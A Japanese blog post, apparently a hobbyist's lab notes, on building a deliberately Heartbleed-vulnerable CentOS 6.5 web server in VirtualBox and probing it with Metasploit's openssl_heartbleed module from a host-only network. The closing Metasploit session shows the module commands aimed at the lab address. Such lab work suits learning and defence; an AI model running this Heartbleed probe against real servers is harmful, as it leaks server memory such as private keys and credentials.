CentOS6.5+VirtualBoxでHeartbleedなサーバを建ててMetasploitで突っついて遊ぶお話

表題の通りやってみたのでメモ書きとして残しておく。

サーバ構築はほぼ初めてなので色々誤謬があると思いますので話半分でお願いします。

どうやら世間ではVagrantなるものが流行っとるそうですがそんなもの使わず俺はゴリゴリ行くぜー…

1. CentOSのインストール

CentOS6.5 x86_64 minimalをDownload - CentOS Wikiの適当なミラーサーバからDL。僕は関西に住んでるので地理的に近そうなNAISThttp://ftp.nara.wide.ad.jp/からDLした。

VirtualBoxRedHatの64bitで適当な名前の仮想マシンを作る。上記のCentOSのISOイメージを設定からマウントさせて起動する。 途中の設定の注意点はキーボード設定をjp106タイムゾーンAsia/Tokyoにするのを忘れずに。 後、rootのパスワードは忘れないように。他の設定は適当でもいい。 光学メディア経由で無くハードディスクからハードディスクなので数分と短めの時間で終わった。

2. CentOSの設定

root:さっきのrootパスワードでrootで入れる。

2.1 ネットワークアダプタ周り

まず、ネットワーク設定をする。デフォルトのままだとアダプタ1がNATになってるので、それは各種インストールが終わるまでそのまま。

ただ、このままだとVirtualBoxのホストOSとの通信が出来ないので、アダプタ2をホストオンリーアダプタにする。その際下に出るMACアドレスを忘れずにメモする。ここではca:fe:ba:be:de:ad:be:afとでもしておく。

まず、アダプタ1(NAT)に当たっている/etc/sysconfig/network-scripts/ifcfg-eth0viなどで少し書き換える。ONBOOT=yesにしておくと起動時にonになるので便利。ただしこれはどっちみち後でnoに戻すので毎回# ifup eth0などで凌いでもいい。

次にアダプタ2(ホストオンリーアダプタ)に当たる/etc/sysconfig/network-scripts/ifcfg-eth1を作る。上記のifcfg-eth0cpすると楽。内容は以下の様な感じに。IPADDRコリジョンしない程度に好きなアドレスに。ca:fe:ba:be:de:ad:be:afは上記でメモしたMACアドレスに。

なお、本当はこっちもDHCPで割り振りたかったけどそれだとエラーが出たので固定にしている。 また、固定の方がMetasploitなどから指定するときに楽といえば楽。

DEVICE=eth1
HWADDR=ca:fe:ba:be:de:ad:be:af
TYPE=Ethernet
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=static

IPADDR=192.168.56.xxx
NETMASK=255.255.255.0
NETWORK=192.168.56.0

そして# service network restartで設定再読み込みかCentOS自体を再起動。これでCentOSからはインターネットへはNATで、VirtualBoxのホストOSへはホストオンリーアダプタでpingが通るはず。また、ホストOSからもCentOSpingが通るはず。

参考:

2.2 iptables周り

ただし、iptables(ファイアーウォール的なもの)の関係上このままだとApacheを建ててもiptablesで弾かれてアクセス出来ない。

ので、vi /etc/sysconfig/iptablesを書き換えてHTTP(80)、HTTPS(443)を通す。 外部に公開するサーバならSSHの22番を10022番とか違う値に変えたほうがアタックされにくくなっていいのかもしれないけど、今回は実験用で最終的には内部のみで使う予定なのでそのまま。

なお、ファイルの書き換えは元からある-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPTの行をyyでヤンクしてpasteするのが早い。

# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
# SSH, HTTP, HTTPS
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited
COMMIT

これで# service iptables restartCentOS再起動でネットワーク周りはOKなはず。 なお、上記の設定が面倒ならいっそ内部向けと割りきってiptablesを無効にしても良いのかも。

参考:

iptables (ファイアーウォール)の設定 〜 CentOS6 | EasyRamble

3. Apache HTTPdのインストール

ネットワーク周りを上記にまとめたら必然的にこんな場所になったけど、もっと先、例えばNATが有効になった時点で行っても良い。

# yum install -y httpd mod_ssl

そして取り敢えず起動するついでに自動起動をオンにする。

# chkconfig httpd on
# service httpd start

取り敢えずホストOSからでもhttp://192.168.56.xxx/とかにアクセスしてみると良い。エラー画面が出たら多分どっかで失敗してるのでトラブルシューティング頑張れ♥頑張れ♥(伊東ライフ先生)

なお、OpenSSLについてはCentOSは元からインストール済みで、6.5の場合ちょうどHeartbleedに脆弱なバージョンだったのでここでは再インストールはしていない。けど多分だけどyumでバージョン指定インストール出来たはず。OpenSSLのバージョンはopenssl versionで確認可能。

Haertbleedに脆弱なOpenSSLのバージョンについては、

以下のバージョンが本脆弱性の影響を受けます。

OpenSSL 1.0.1 から 1.0.1f

OpenSSL 1.0.2-beta から 1.0.2-beta1

更新:OpenSSL の脆弱性対策について(CVE-2014-0160):IPA 独立行政法人 情報処理推進機構

つまり0.9.x系とかは脆弱ではないので敢えて脆弱なマシンを作る場合注意? 例えばMetasploitable2なんかは0.9.x系統。

4. HTTPSの設定

OpenSSLで鍵とオレオレ証明証を作る。仮に証明証を格納する場所を/etc/httpd/sslとすると

# mkdir /etc/httpd/ssl
# cd /etc/httpd/ssl

オレオレ証明書をopensslで作る(詳細版) - ろば電子が詰まっているを参考に

# openssl genrsa 2048 > server.key
# openssl req -new -key server.key > server.csr
# openssl x509 -days 3650 -req -signkey server.key < server.csr > server.crt
# rm server.csr

途中の各項目はオレオレ証明証だし適当でいいと思う。

/etc/httpd/conf.d/ssl.confのこの2つの項目を書き換え

SSLCertificateFile /etc/httpd/ssl/server.crt
SSLCertificateKeyFile /etc/httpd/ssl/server.key  

# service httpd restartApacheを再起動してhttps://192.168.56.xxx/にアクセス。証明証の警告は無視して繋いでみる。Firefoxだとどうしても行かせようとしてくれないのでChromeとかで試した方がいい。Apacheのページが出ればOK。

5. Metasploitでexploit

Detecting OpenSSL-Heartbleed with Nmap & Exploiting with Metasploit | CYBER ARMS - Computer Securityを参考に。

$ /path/to/msfconsole
バナーがどーん
msf > search heartbleed
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                              Disclosure Date  Rank    Description
   ----                                              ---------------  ----    -----------
   auxiliary/scanner/ssl/openssl_heartbleed          2014-04-07       normal  OpenSSL Heartbeat (Heartbleed) Information Leak
   auxiliary/server/openssl_heartbeat_client_memory  2014-04-07       normal  OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > set RHOSTS 192.168.56.xxx
RHOSTS => 192.168.56.xxx
msf auxiliary(openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf auxiliary(openssl_heartbleed) > run
色々出て楽しい!!✌('ω'✌ )三✌('ω')✌三( ✌'ω')✌

その他

  • Nmapは反応が重いので取り敢えず確認なら$ nmap -p80,443,22,53,123 192.168.56.xxxみたいにポート指定でするといいと思う。
  • インストールが無事終わったら脆弱性を抱えたマシンをインターネットへつなぐのは色々ダメなので/etc/sysconfig/network-scripts/ifcfg-eth0ONBOOTnoに戻してNAT接続をなるべくしないようにしましょう。というかVirtualBoxの設定からNATインターフェイスを無効にすべきか

追記:

Vagrantだとこんなのあるそうですよ→diracdeltas/heartbox

Sets up a basic Freebsd 10.0 VirtualBox running Apache 2.4 and OpenSSL 1.0.1e-freebsd for playing with heartbleed exploits.

https://github.com/diracdeltas/heartbox

当ブログに於いて、私tasutenによって創作されたことが自明である著作物に対しては、別途明示のある場合を除き全てCC0が適用されます。